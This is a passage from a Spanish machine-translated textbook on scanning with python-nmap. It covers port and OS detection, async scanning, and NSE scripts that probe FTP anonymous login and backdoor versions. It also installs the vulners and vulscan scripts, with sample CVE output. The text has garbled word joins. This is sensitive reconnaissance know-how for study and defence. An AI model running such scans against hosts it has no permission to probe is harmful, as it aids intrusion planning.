['osmatch'][0]['osclass'][0]['vendor'])
print("Accuracy of detection is:\t\t", portScanner[host]
['osmatch'][0]['osclass'][0]['accuracy'])
En el script anterior, usamos el scan()método
del portScannerobjeto, utilizando como argumento la -
Obandera para detectar el sistema operativo al ejecutar el
escaneo. Para obtener información sobre los detalles del
sistema operativo, necesitamos acceder
al portScanner[host]diccionario que contiene esta información
en la osmatchclave. En la siguiente salida, podemos ver la
ejecución del script anterior:
$ sudo python nmap_operating_system.py 45.33.32.156
Open port-->Service
22 --> ssh
80 --> http
9929 --> nping-echo
31337 --> Elite
--------------Operating System details---------------------
Details about the scanned host are:
['cpe:/o:linux:linux_kernel:5']
Operating system family is: Linux
Type of OS is: general purpose
Generation of Operating System : 5.X
Operating System Vendor is: Linux
Accuracy of detection is: 95
En elEn la salida anterior, podemos ver información relacionada
con los puertos abiertos y los detalles sobre el sistema
operativo en la 45.33.32.156máquina.
Para ejecutar el script anterior, sudoes necesario acceder al
socket sin procesar. Es posible que reciba el siguiente mensaje
al iniciar el proceso de escaneo: "Ha solicitado un tipo de
escaneo que requiere privilegios de root. ¡CANCELANDO!". Si es
así, debe ejecutar el comando sudopara sistemas operativos
Unix.
Ahora que sabe cómo utilizar el escaneo sincrónico con python-
nmap, pasemos a explicar el escaneo en modo asincrónico
para ejecutar muchos comandos al mismo tiempo.
Implementación del escaneo asincrónico
Aunque la PortScannerclase es la que se utiliza con más
frecuencia, también es posible ejecutar el escaneo en laEn
segundo plano mientras el script realiza otras actividades. Esto
se logra con la PortScannerAsyncclase:
>>> def nmap_callback(host,result):
... print(result)
...
>>> nma = nmap.PortScannerAsync()
>>> nma.scan('scanme.nmap.org',arguments="-
Pn",callback=nmap_callback)
>>> nma.still_scanning()
True
>>> {'nmap': {'command_line': 'nmap -oX - -Pn 45.33.32.156',
'scaninfo': {'tcp': {'method': 'connect'}}, 'scanstats': {'timestr':
'Wed Jan 11 22:39:28 2023', 'elapsed': '48.25', 'uphosts': '1',
'downhosts': '0', 'totalhosts': '1'}}, 'scan': {'45.33.32.156':
{'hostnames': [{'name': 'scanme.nmap.org', 'type': 'PTR'}],
'addresses': {'ipv4': '45.33.32.156'}, 'vendor': {}, 'status':
{'state': 'up', 'reason': 'user-set'}, 'tcp': {22: {'state': 'open',
'reason': 'syn-ack', 'name': 'ssh', 'product': '', 'version': '',
'extrainfo': '', 'conf': '3', 'cpe': ''}, 80: {'state': 'open', 'reason':
'syn-ack', 'name': 'http', 'product': '', 'version': '', 'extrainfo': '',
'conf': '3', 'cpe': ''}, 9929: {'state': 'open', 'reason': 'syn-ack',
'name': 'nping-echo', 'product': '', 'version': '', 'extrainfo': '',
'conf': '3', 'cpe': ''}, 31337: {'state': 'open', 'reason': 'syn-ack',
'name': 'Elite', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3',
'cpe': ''}}}}}
En el siguiente ejemplo, al realizar el escaneo, podemos
especificar un callbackparámetro adicional donde definimos
la returnfunción que se ejecutará al finalizar el escaneo. Puede
encontrar el siguiente código en
el PortScannerAsync.pyarchivo:
import nmap
portScannerAsync = nmap.PortScannerAsync()
def callback_result(host, scan_result):
print(host, scan_result)
portScannerAsync.scan(hosts='scanme.nmap.org',
arguments='-p'21', callback=callback_result)
portScannerAsync.scan(hosts='scanme.nmap.org',
arguments='-p'22', callback=callback_result)
portScannerAsync.scan(hosts='scanme.nmap.org',
arguments='-p'23', callback=callback_result)
portScannerAsync.scan(hosts='scanme.nmap.org',
arguments='-p'80', callback=callback_result)
while portScannerAsync.still_scanning():
print("Scanning >>>")
portScannerAsync.wait(5)
En el script anterior, definimos una callback_result()función que
se ejecuta cuando Nmap finaliza el proceso de escaneo con los
argumentos especificados. El whilebucle definido se ejecuta
mientras el proceso de escaneo sigue en curso. Este podría ser
el resultado de la ejecución:
$ python PortScannerAsync.py
Scanning >>>
45.33.32.156 {'nmap': {'command_line': 'nmap -oX - -p 21
45.33.32.156', 'scaninfo': {'tcp': {'method': 'connect',
'services': '21'}}, 'scanstats': {'timestr': 'Thu Oct 1 23:11:55
2020', 'elapsed': '0.38', 'uphosts': '1', 'downhosts': '0',
'totalhosts': '1'}}, 'scan': {'45.33.32.156': {'hostnames':
[{'name': 'scanme.nmap.org', 'type': 'PTR'}], 'addresses':
{'ipv4': '45.33.32.156'}, 'vendor': {}, 'status': {'state': 'up',
'reason': 'conn-refused'}, 'tcp': {21: {'state': 'closed', 'reason':
'conn-refused', 'name': 'ftp', 'product': '', 'version': '', 'extrainfo':
'', 'conf': '3', 'cpe': ''}}}}}
45.33.32.156 {'nmap': {'command_line': 'nmap -oX - -p 23
45.33.32.156', 'scaninfo': {'tcp': {'method': 'connect',
'services': '23'}}, 'scanstats': {'timestr': 'Thu Oct 1 23:11:55
2020', 'elapsed': '0.38', 'uphosts': '1', 'downhosts': '0',
'totalhosts': '1'}}, 'scan': {'45.33.32.156': {'hostnames':
[{'name': 'scanme.nmap.org', 'type': 'PTR'}], 'addresses':
{'ipv4': '45.33.32.156'}, 'vendor': {}, 'status': {'state': 'up',
'reason': 'syn-ack'}, 'tcp': {23: {'state': 'closed', 'reason': 'conn-
refused', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '',
'conf': '3', 'cpe': ''}}}}}
En la salida anterior, podemos ver que los resultados para cada
puerto no necesariamente se devuelven enOrden secuencial.
En el siguiente ejemplo, implementamos
una NmapScannerAsyncclase que permite ejecutar un escaneo
asíncrono con una dirección IP y una lista de puertos como
parámetros. El código del NmapScannerAsync.pyarchivo es el
siguiente:
import nmap
import argparse
def callbackResult(host, scan_result):
#print(host, scan_result)
port_state = scan_result['scan'][host]['tcp']
print("Command line:"+ scan_result['nmap']
['command_line'])
for key, value in port_state.items():
print('Port {0} --> {1}'.format(key, value))
En el código anterior, definimos un callback_result()método que
se ejecuta cuando Nmap finaliza el proceso de escaneo. Esta
función muestra información sobre el comando ejecutado y el
estado de cada puerto que analizamos.
En el siguiente código, estamos implementando
la NmapScannerAsyncclase, que contiene el initconstructor del
método para inicializar portScannerAsync, el scanning()método
que estamosllamando durante el proceso de escaneo, y
el nmapScanAsync()método, que contiene el proceso de
escaneo:
class NmapScannerAsync:
def __init__(self):
self.portScannerAsync = nmap.PortScannerAsync()
def scanning(self):
while self.portScannerAsync.still_scanning():
print("Scanning >>>")
self.portScannerAsync.wait(5)
def nmapScanAsync(self, hostname, port):
try:
print("Checking port "+ port +" ..........")
self.portScannerAsync.scan(hostname, arguments="-A -
sV -p"+port ,callback=callbackResult)
self.scanning()
except Exception as exception:
print("Error to connect with " + hostname + " for port
scanning",str(exception))
En el código anterior, podemos ver el nmapScanAsync(self,
hostname, port)método dentro de la NmapScannerAsyncclase,
que revisa cada puerto pasado como parámetro y llama a
la callbackResultfunción al finalizar el escaneo sobre este
puerto.
El siguiente código representa nuestro programa principal que
solicita host y puertos como parámetros y llama a
la nmapScanAsync(host,port)función para cada puerto que el
usuario ha introducido para escanear:
if __name__ == "__main__":
parser =
argparse.ArgumentParser(description='Asynchronous Nmap
scanner')
parser.add_argument("--host", dest="host", help="target IP /
domain", required=True)
parser.add_argument("-ports", dest="ports", help="Please,
specify the target port(s) separated by comma[80,8080 by
default]", default="80,8080")
parsed_args = parser.parse_args()
port_list = parsed_args.ports.split(',')
host = parsed_args.host
for port in port_list:
NmapScannerAsync().nmapScanAsync(host, port)
Ahora nosotrosPuede ejecutar el NmapScannerAsync.pyscript
con los siguientes parámetros de host y puertos:
$ python NmapScannerAsync.py --host scanme.nmap.org -
ports 21,22,23,25,80
Checking port 21 ..........
Checking port 22 ..........
Scanning >>>
Scanning >>>
Command line:nmap -oX - -A -sV -p22 45.33.32.156
Port 22 --> {'state': 'open', 'reason': 'syn-ack', 'name': 'ssh',
'product': 'OpenSSH', 'version': '6.6.1p1 Ubuntu 2ubuntu2.13',
'extrainfo': 'Ubuntu Linux; protocol 2.0', 'conf': '10', 'cpe':
'cpe:/o:linux:linux_kernel', 'script': {'ssh-hostkey': '\n 1024
ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA)\n 2048
20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA)\n 256
96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57 (ECDSA)\n
256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56
(EdDSA)'}}
Checking port 23 ..........
Checking port 25 ..........
Scanning >>>
Command line:nmap -oX - -A -sV -p25 45.33.32.156
Port 25 --> {'state': 'closed', 'reason': 'conn-refused', 'name':
'smtp', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe':
''}
Checking port 80 ..........
Scanning >>>
Command line:nmap -oX - -A -sV -p80 45.33.32.156
Port 80 --> {'state': 'open', 'reason': 'syn-ack', 'name': 'http',
'product': 'Apache httpd', 'version': '2.4.7', 'extrainfo':
'(Ubuntu)', 'conf': '10', 'cpe': 'cpe:/a:apache:http_server:2.4.7',
'script': {'http-server-header': 'Apache/2.4.7 (Ubuntu)', 'http-
title': 'Go ahead and ScanMe!'}}
Como resultado de la ejecución anterior, podemos ver que el
proceso ha analizado los puertos pasados por parámetro y,
para cada puerto escaneado, muestra información sobre el
comando ejecutado y el resultado en formato de diccionario.
Por ejemplo, devuelve que los puertos 22y 80están abiertos, y
en la extrainfopropiedad devuelta en el diccionario, se puede
ver información relacionada con el servidor que ejecuta el
servicio en cada puerto.
La principal ventaja de usarlo asynces que los resultados del
escaneo no necesariamente se devuelven en el mismo orden
en el que hemos lanzado el escaneo de puertos y no podemos
esperar que los resultados lleguen en el mismo orden que
cuando hacemos un escaneo sincrónico.
Además de las clases PortScannery PortScannerAsync, existe
otra clase que permite ejecutar escaneos con Nmap, en este
caso de forma progresiva. Esta PortScannerYieldclase permite
ejecutar el escaneo de Nmap y devolver cada resultado
generado por la herramienta. Esto puede ser útil al analizar una
red completa.entorno y no desea esperar hasta que finalice el
escaneo para ver los resultados, sino verlos progresivamente a
medida que Nmap genera información.
>>> nmy = nmap.PortScannerYield()
>>> for progress in
nmy.scan('scanme.nmap.org',arguments="-Pn"):
... print(progress)
...'
('45.33.32.156', {'nmap': {'command_line': 'nmap -oX - -Pn
45.33.32.156', 'scaninfo': {'tcp': {'method': 'connect'}},
'scanstats': {'timestr': 'Wed Jan 11 22:51:22 2023', 'elapsed':
'41.75', 'uphosts': '1', 'downhosts': '0', 'totalhosts': '1'}}, 'scan':
{'45.33.32.156': {'hostnames': [{'name': 'scanme.nmap.org',
'type': 'PTR'}], 'addresses': {'ipv4': '45.33.32.156'}, 'vendor':
{}, 'status': {'state': 'up', 'reason': 'user-set'}, 'tcp': {22:
{'state': 'open', 'reason': 'syn-ack', 'name': 'ssh', 'product': '',
'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 80: {'state':
'open', 'reason': 'syn-ack', 'name': 'http', 'product': '', 'version':
'', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 9929: {'state': 'open',
'reason': 'syn-ack', 'name': 'nping-echo', 'product': '', 'version':
'', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 31337: {'state': 'open',
'reason': 'syn-ack', 'name': 'Elite', 'product': '', 'version': '',
'extrainfo': '', 'conf': '3', 'cpe': ''}}}}})
Ahora que ya sabes cómo utilizar los diferentes modos de
escaneo con python-nmap, pasemos a explicar cómo podemos
ejecutar nmap para descubrir servicios y vulnerabilidades.
Descubrimiento de servicios y vulnerabilidades con scripts de
Nmap
En esteEn esta sección aprenderemos a descubrirservicios, así
como realizaroperaciones avanzadas pararecopilar información
sobre un objetivo y detectar vulnerabilidades en el servicio FTP.
Ejecución de scripts de Nmap para descubrir servicios
Nmap es una herramienta excepcional para realizar análisis de
red y servicios, pero entre sus numerosas funcionesEntre las
características hay algunas muy notablesunos, como el motor
de scripts Nmap ( NSE ).
Nmap permite realizar análisis de vulnerabilidades gracias a su
potente motor de scripting Lua. De esta forma, también
podemos ejecutar rutinas más complejas que nos permiten
filtrar información sobre un objetivo específico.
Nmap proporciona varios scripts que ayudan a identificar
servicios con la posibilidad de explotar vulnerabilidades. Cada
uno de estos scripts se puede ejecutar mediante la –
scriptopción:
Auth : ejecuta todos los scripts disponibles para la
autenticación
Predeterminado : ejecuta los scripts básicos de la
herramienta de forma predeterminada
Descubrimiento : recupera información del objetivo o la
víctima
Externo : Un script para utilizar recursos externos
Intrusivo : utiliza scripts que se consideran intrusivos
para la víctima o el objetivo.
Malware : Comprueba si hay conexiones abiertas por
código malicioso o puertas traseras
Seguro : ejecuta scripts que no son intrusivos
Vuln : Descubre las vulnerabilidades más conocidas
Todos : ejecuta absolutamente todos los scripts con la
extensión NSE disponible
En sistemas operativos Unix, los scripts suelen encontrarse en
la /usr/share/nmap/scriptsruta. Estos scripts permiten que las
rutinas de programación encuentren posibles vulnerabilidades
en un host determinado. Los scripts disponibles se pueden
encontrar en https://nmap.org/nsedoc/scripts .
En el siguiente ejemplo, ejecutamos el nmapcomando con la --
scriptopción de captura de banner (banner), que obtiene
información sobre los servicios que se están ejecutando en el
servidor:
$ sudo nmap -sSV --script=banner scanme.nmap.org
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Other addresses for scanme.nmap.org (not scanned):
2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 961 closed ports, 33 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.13
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
2000/tcp open tcpwrapped
5060/tcp open tcpwrapped
9929/tcp open nping-echo Nping echo
| banner: \x01\x01\x00\x18>\x95}\xA4_\x18d\xED\x00\x00\
x00\x00\xD5\xBA\x8
|_6s\x97%\x17\xC2\x81\x01\xA5R\xF7\x89\xF4x\x02\xBAm\
xCCA\xE3\xAD{\xBA...
31337/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En la salida del comando anterior, podemos ver los puertos que
están abiertos y para cada puerto, retornaInformación sobre la
versión del servicio y el sistema operativo en ejecución. Otro
script interesante que Nmap incorpora es «discovery» , que
nos permite obtener más información sobre los servicios que se
ejecutan en el servidor que analizamos.
La categoría de descubrimiento incluye diferentes scripts.
Podemos consultarlos en la siguiente
URL: https://nmap.org/nsedoc/categories/discovery.html .
$ sudo nmap --script discovery scanme.nmap.org
Pre-scan script results:
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.17s latency).
Other addresses for scanme.nmap.org (not scanned):
2600:3c01::f03c:91ff:fe18:bb2f
All 1000 scanned ports on scanme.nmap.org (45.33.32.156)
are filtered
Host script results:
| asn-query:
| BGP: 45.33.32.0/24 and 45.33.32.0/19 | Country: US
| Origin AS: 63949 - LINODE-AP Linode, LLC, US
|_ Peer AS: 1299 2914 3257
| dns-brute:
| DNS Brute-force hostnames:
| ipv6.nmap.org - 2600:3c01:0:0:f03c:91ff:fe70:d085
| chat.nmap.org - 45.33.32.156
| chat.nmap.org - 2600:3c01:0:0:f03c:91ff:fe18:bb2f
| *AAAA: 2600:3c01:0:0:f03c:91ff:fe98:ff4e
|_ *A: 45.33.49.119
En la salida del discoverycomando, podemos ver cómo se está
ejecutando un dns-bruteproceso para obtener información
sobre los subdominios y sus direcciones IP.
Si somosSi estamos interesados en un script específico de la
categoría de descubrimiento, podríamos ejecutar lo siguiente:
$ sudo nmap --script dns-brute scanme.nmap.org
También podríamos usar los nmapscripts para obtener más
información relacionada con la clave pública, así como los
algoritmos de cifrado admitidos por el servidor en el puerto
SSH 22:
$ sudo nmap -sSV -p22 --script ssh-hostkey scanme.nmap.org
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA)
| 2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2
(RSA)
| 256 96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57
(ECDSA)
|_ 256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56
(EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ sudo nmap -sSV -p22 --script ssh2-enum-algos
scanme.nmap.org
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
| ssh2-enum-algos:
| kex_algorithms: (8)
| curve25519-sha256@libssh.org
| ecdh-sha2-nistp256
| ecdh-sha2-nistp384
| ecdh-sha2-nistp521
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group-exchange-sha1
| diffie-hellman-group14-sha1
| diffie-hellman-group1-sha1
| server_host_key_algorithms: (4)
| ssh-rsa
| ssh-dss
| ecdsa-sha2-nistp256
| ssh-ed25519
...
Como resultadode la ejecución, podemos ver la información
relacionada con los algoritmos soportados por el servidor SSH
ubicado en el scanme.nmap.orgdominio en el puerto 22.
Ahora que sabe cómo usar scripts de Nmap para el
descubrimiento y obtener más información sobre servicios
específicos, pasemos a ejecutar scripts de Nmap para descubrir
vulnerabilidades.
Ejecución de scripts de Nmap para descubrir
vulnerabilidades
Nmap proporciona algunos scripts para detectar
vulnerabilidades en el servicio FTP en el puerto 21. Por
ejemplo,Puede usar el ftp-anonscript para detectar si el servicio
FTP permite la autenticación anónima sin necesidad de
introducir nombre de usuario y contraseña. En el siguiente
ejemplo, vemos cómo es posible una conexión anónima en el
servidor FTP:
$ sudo nmap -sSV -p21 --script ftp-anon ftp.be.debian.org
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| lrwxrwxrwx 1 ftp ftp 16 May 14 2011
backports.org -> /backports.org/debian-backports
| drwxr-xr-x 9 ftp ftp 4096 Jul 22 14:47 debian
| drwxr-sr-x 5 ftp ftp 4096 Mar 13 2016 debian-
backports
| drwxr-xr-x 5 ftp ftp 4096 Jul 19 01:21 debian-cd
| drwxr-xr-x 7 ftp ftp 4096 Jul 22 12:32 debian-
security
| drwxr-sr-x 5 ftp ftp 4096 Jan 5 2012 debian-volatile
| drwxr-xr-x 5 ftp ftp 4096 Oct 13 2006 ftp.irc.org
| -rw-r--r-- 1 ftp ftp 419 Nov 17 2017 HEADER.html
| drwxr-xr-x 10 ftp ftp 4096 Jul 22 14:05 pub
| drwxr-xr-x 20 ftp ftp 4096 Jul 22 15:14
video.fosdem.org
|_-rw-r--r-- 1 ftp ftp 377 Nov 17 2017 welcome.msg
En el siguiente script, consultaremos de forma asincrónica los
scripts definidos para el servicio FTP yCada vez que se recibe
una respuesta, callbackFTPse ejecuta la función, lo que nos
proporciona más información sobre este servicio. Puede
encontrar el siguiente código en
el NmapScannerAsyncFTP.pyarchivo:
import nmap
import argparse
def callbackFTP(host, result):
try:
script = result['scan'][host]['tcp'][21]['script']
print("Command line"+ result['nmap']['command_line'])
for key, value in script.items():
print('Script {0} --> {1}'.format(key, value))
except KeyError:
pass
class NmapScannerAsyncFTP:
def __init__(self):
self.portScanner = nmap.PortScanner()
self.portScannerAsync = nmap.PortScannerAsync()
def scanning(self):
while self.portScannerAsync.still_scanning():
print("Scanning >>>")
self.portScannerAsync.wait(10)
En el código anterior, definimos la callbackFTPfunción que se
ejecuta al finalizar el proceso de escaneo de nmap para un
script específico. El siguiente método comprueba el puerto
pasado como parámetro y ejecuta scripts de Nmap
relacionados con FTP de forma asíncrona. Si detecta que tiene
un puerto 21abierto, se ejecutarán los scripts de nmap
correspondientes al servicio FTP:
def nmapScanAsync(self, hostname, port):
try:
print("Checking port "+ port +" ..........")
self.portScanner.scan(hostname, port)
self.state = self.portScanner[hostname]['tcp'][int(port)]
['state']
print(" [+] "+ hostname + " tcp/" + port + " " +
self.state)
#checking FTP service
if (port=='21') and self.portScanner[hostname]['tcp']
[int(port)]['state']=='open':
print('Checking ftp port with nmap scripts......')
print('Checking ftp-anon.nse .....')
self.portScannerAsync.scan(hostname,arguments="-
A -sV -p21 --script ftp-anon.nse",callback=callbackFTP)
self.scanning()
En la primera parte del código anterior, ejecutamos de forma
asincrónica scripts relacionados con la
detecciónVulnerabilidades en el ftpservicio. Empezamos a
comprobar el inicio de sesión anónimo en el servidor FTP con
el ftp-anon.nsescript.
En la siguiente parte del código, continuamos ejecutando otros
scripts como ftp-bounce.nse, ftp-libopie.nse, ftp-proftpd-
backdoor.nse, y ftp-vsftpd-backdoor.nse, que permiten probar
vulnerabilidades específicas dependiendo de la versión
del ftpservicio:
print('Checking ftp-bounce.nse .....')
self.portScannerAsync.scan(hostname,arguments="-
A -sV -p21 --script ftp-bounce.nse",callback=callbackFTP)
self.scanning()
print('Checking ftp-libopie.nse .....')
self.portScannerAsync.scan(hostname,arguments="-
A -sV -p21 --script ftp-libopie.nse",callback=callbackFTP)
self.scanning()
print('Checking ftp-proftpd-backdoor.nse .....')
self.portScannerAsync.scan(hostname,arguments="-
A -sV -p21 --script ftp-proftpd-
backdoor.nse",callback=callbackFTP)
self.scanning()
print('Checking ftp-vsftpd-backdoor.nse .....')
self.portScannerAsync.scan(hostname,arguments="-
A -sV -p21 --script ftp-vsftpd-
backdoor.nse",callback=callbackFTP)
self.scanning()
except Exception as exception:
print("Error to connect with " + hostname + " for port
scanning",str(exception))
Esta puede ser la ejecución del script anterior donde estamos
probando la dirección IP del ftp.be.debian.orgdominio:
$ python NmapScannerAsyncFTP.py --host 195.234.45.114
Checking port 21 ..........
[+] 195.234.45.114 tcp/21 open
Checking ftp port with nmap scripts......
Checking ftp-anon.nse .....
Scanning >>>
Scanning >>>
Command linenmap -oX - -A -sV -p21 --script ftp-anon.nse
195.234.45.114
Script ftp-anon --> Anonymous FTP login allowed (FTP code
230)
lrwxrwxrwx 1 ftp ftp 16 May 14 2011 backports.org
-> /backports.org/debian-backports
drwxr-xr-x 9 ftp ftp 4096 Oct 1 14:44 debian
drwxr-sr-x 5 ftp ftp 4096 Mar 13 2016 debian-
backports
drwxr-xr-x 5 ftp ftp 4096 Sep 27 06:17 debian-cd
drwxr-xr-x 7 ftp ftp 4096 Oct 1 16:32 debian-security
drwxr-sr-x 5 ftp ftp 4096 Jan 5 2012 debian-volatile
drwxr-xr-x 5 ftp ftp 4096 Oct 13 2006 ftp.irc.org
-rw-r--r-- 1 ftp ftp 419 Nov 17 2017 HEADER.html
drwxr-xr-x 10 ftp ftp 4096 Oct 1 16:06 pub
drwxr-xr-x 20 ftp ftp 4096 Oct 1 17:14
video.fosdem.org
-rw-r--r-- 1 ftp ftp 377 Nov 17 2017 welcome.msg
Checking ftp-bounce.nse .....
Como resultadoDurante la ejecución, podemos ver la
información relacionada con el puerto 21y la ejecución de los
scripts de nmap relacionados con el ftpservicio. La información
obtenida al ejecutarlos podría utilizarse en una fase posterior a
la explotación o en el proceso de descubrimiento de exploits
para el servicio que estamos probando.
Ahora que ya sabes cómo usar el nmapmódulo para detectar
servicios y vulnerabilidades, pasemos a descubrir
vulnerabilidades con el nmap-vulnersscript.
Detección de vulnerabilidades con el script Nmap-
vulners
Uno deEl más conocidoEl escáner de vulnerabilidades es Nmap-
vulners. Veamos cómo configurar esta herramienta y cómo
ejecutar un análisis CVE básico. NSE busca respuestas HTTP
para identificar CPE para el script dado. Primero, descargamos
el código fuente del repositorio de GitHub.
$ git clone https://github.com/vulnersCom/nmap-vulners.git
Luego, debemos copiar los archivos descargados a la carpeta
donde se almacenan los scripts de nmap. En el caso de un
sistema operativo Linux, suelen estar en la
ruta /usr/share/nmap/scripts/:
$ sudo mv /home/linux/Downloads/nmap-vulners-master/*.*
/usr/share/nmap/scripts/
Se recomienda al lector revisar el archivo README que se
encuentra en el repositorio para obtener instrucciones
específicas del sistema operativo.
En esteDe esa manera, podríamosPara ejecutar el vulnersscript
con el siguiente comando:
$ nmap -sV --script vulners scanme.nmap.org -p22,80,3306
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:6.6.1p1:
| CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-
5600
| CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-
6564
| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-
2018-15919
| CVE-2021-41617 4.4 https://vulners.com/cve/CVE-
2021-41617
| CVE-2020-14145 4.3 https://vulners.com/cve/CVE-
2020-14145
| CVE-2015-5352 4.3 https://vulners.com/cve/CVE-2015-
5352
|_ CVE-2015-6563 1.9 https://vulners.com/cve/CVE-2015-
6563
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.7:
| CVE-2022-31813 7.5 https://vulners.com/cve/CVE-
2022-31813
| CVE-2022-23943 7.5 https://vulners.com/cve/CVE-
2022-23943
| CVE-2022-22720 7.5 https://vulners.com/cve/CVE-
2022-22720
| CVE-2021-44790 7.5 https://vulners.com/cve/CVE-
2021-44790
| CVE-2021-39275 7.5 https://vulners.com/cve/CVE-
2021-39275
| CVE-2021-26691 7.5 https://vulners.com/cve/CVE-
2021-26691
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-
7679
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-
3167
| CNVD-2022-73123 7.5 https://vulners.com/cnvd/CNVD-
2022-73123
| CNVD-2022-03225 7.5 https://vulners.com/cnvd/CNVD-
2022-03225
| CNVD-2021-102386 7.5
https://vulners.com/cnvd/CNVD-2021-102386
.....
Toda la lógica de ejecución del script de vulnerabilidades se
encuentra en el vulners.nsearchivo, que se encuentra en el
repositorio https://github.com/vulnersCom/nmap-
vulners/blob/master/vulners.nse y se copia a la nmap
scriptscarpeta. Podríamos escribir un script de Python que
ejecute lo anterior.comando para obtenerLa salida del comando
que utiliza el communicate()método. Puede encontrar el
siguiente código en el nmap_vulners.pyarchivo:
import subprocess
p = subprocess.Popen(["nmap", "-sV", "--script", "vulners",
"scanme.nmap.org", "-p22,80,3306"], stdout=subprocess.PIPE)
(output, err) = p.communicate()
output = output.decode('utf-8').strip()
print(output)
Ahora que ya sabes cómo usar el vulnersscript, pasemos a
descubrir servicios y vulnerabilidades con el vulscanscript.
Detección de vulnerabilidades con el script Nmap-
vulscan
Vulscan ( https://github.com/scipag/vulscan ) es un script
de NSE que ayuda a Nmap a detectarvulnerabilidades
enObjetivos basados en servicios y detecciones de versiones.
Primero, descargamos el código fuente del repositorio de
GitHub:
$ git clone https://github.com/scipag/vulscan scipag_vulscan
Luego, debemos copiar los archivos descargados a la carpeta
donde se almacenan los scripts de nmap. En el caso de un
sistema operativo Linux, suelen estar en la
ruta /usr/share/nmap/scripts/:
$ sudo mv /home/linux/Downloads/scipag_vulscan/*.*
/usr/share/nmap/scripts/vulscan/
ParaPor ejemplo, la opción Nmap -sVpermite la detección de la
versión del servicio, que se utiliza para identificar posibles
exploits.Para las vulnerabilidades detectadas en el sistema:
$ nmap -sV --script=vulscan/vulscan.nse scanme.nmap.org -p
22,80
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
(Ubuntu Linux; protocol 2.0)
| vulscan: VulDB - https://vuldb.com:
| [12724] OpenSSH up to 6.6 Fingerprint Record Check
sshconnect.c verify_host_key privilege escalation
|
| MITRE CVE - https://cve.mitre.org:
| [CVE-2012-5975] The SSH USERAUTH CHANGE REQUEST
feature in SSH Tectia Server 6.0.4 through 6.0.20, 6.1.0 through
6.1.12, 6.2.0 through 6.2.5, and 6.3.0 through 6.3.2 on UNIX
and Linux, when old-style password authentication is enabled,
allows remote attackers to bypass authentication via a crafted
session involving entry of blank passwords, as demonstrated by
a root login session from a modified OpenSSH client with an
added input_userauth_passwd_changereq call in sshconnect2.c.
| [CVE-2012-5536] A certain Red Hat build of the
pam_ssh_agent_auth module on Red Hat Enterprise Linux
(RHEL) 6 and Fedora Rawhide calls the glibc error function
instead of the error function in the OpenSSH codebase, which
allows local users to obtain sensitive information from process
memory or possibly gain privileges via crafted use of an
application that relies on this module, as demonstrated by su
and sudo.
| [CVE-2010-5107] The default configuration of OpenSSH
through 6.1 enforces a fixed time limit between establishing a
TCP connection and completing a login, which makes it easier
for remote attackers to cause a denial of service (connection-
slot exhaustion) by periodically making many new TCP
connections.
| [CVE-2008-1483] OpenSSH 4.3p2, and probably other
versions, allows local users to hijack forwarded X connections
by causing ssh to set DISPLAY to :10, even when another
process is listening on the associated port, as demonstrated by
opening TCP port 6010 (IPv4) and sniffing a cookie sent by
Emacs.
| [CVE-2007-3102] Unspecified vulnerability in the
linux_audit_record_event function in OpenSSH 4.3p2, as used
on Fedora Core 6 and possibly other systems, allows remote
attackers to write arbitrary characters to an audit log via a
crafted username. NOTE: some of these details are obtained
from third party information.
| [CVE-2004-2414] Novell NetWare 6.5 SP 1.1, when installing
or upgrading using the Overlay CDs and performing a custom
installation with OpenSSH, includes sensitive password
information in the (1) NIOUTPUT.TXT and (2) NI.LOG log files,
which might allow local users to obtain the passwords.
...........
Cuandoejecutando el vulscanscriptPodemos ver cómo utiliza
diferentes bases de datos para detectar vulnerabilidades en los
servicios expuestos por el servidor analizado.
